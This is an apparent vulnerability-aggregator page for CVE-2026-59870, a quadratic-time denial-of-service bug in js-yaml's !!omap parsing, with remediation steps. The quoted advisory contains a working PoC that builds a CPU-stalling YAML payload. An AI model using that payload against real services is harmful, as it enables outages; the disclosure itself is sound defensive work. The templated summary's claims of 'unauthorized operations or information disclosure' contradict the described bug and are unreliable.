Vulnerability in js-yaml (CVE-2026-59870)
Summary
Vulnerability in js-yaml (CVE-2026-59870). Risk of unauthorized operations or information disclosure. Exploitable via YAML11_SCHEMA. Mitigation: upgrade to 5.2.1 or later.
Original description
The description as published by the source.
Summary
js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.
Details
In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container) // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object); // n insertions → O(n^2) total
return '';
}
});
For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.
PoC (runtime-confirmed on v5.2.0)
const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000: 9ms
// n=5000: 73ms (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-59870 has been found in js-yaml.
Attackers can target a specific entry point like YAML11_SCHEMA over the network to misuse the product.
Risk of unauthorized operations or information disclosure. CVSS score: 7.5/10.
What to do: upgrade js-yaml to 5.2.1 or later.
If unsure, ask your IT team or search "js-yaml CVE-2026-59870" on the vendor's site.
CVE-2026-59870 (js-yaml) — CWE-407 / CVSS v3 7.5
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: YAML11_SCHEMA / addItem / Set
Patched: 5.2.1 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-407) exists in js-yaml. Attackers reach the vulnerable code path via YAML11_SCHEMA without authentication.
Check the vendor advisory for the affected versions of js-yaml. Attack surface: YAML11_SCHEMA / addItem / Set.
Severity: High (CVSS 7.5/10). Risk of unauthorized operations or information disclosure.
Update to 5.2.1.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'js-yaml' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'js-yaml' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
js-yamlを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade js-yaml to 5.2.1ステージング環境で 5.2.1 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
Fix status by distribution
Fixed packages published by each distribution for this CVE
- Ubuntu UBUNTU-CVE-2026-59870 node-js-yaml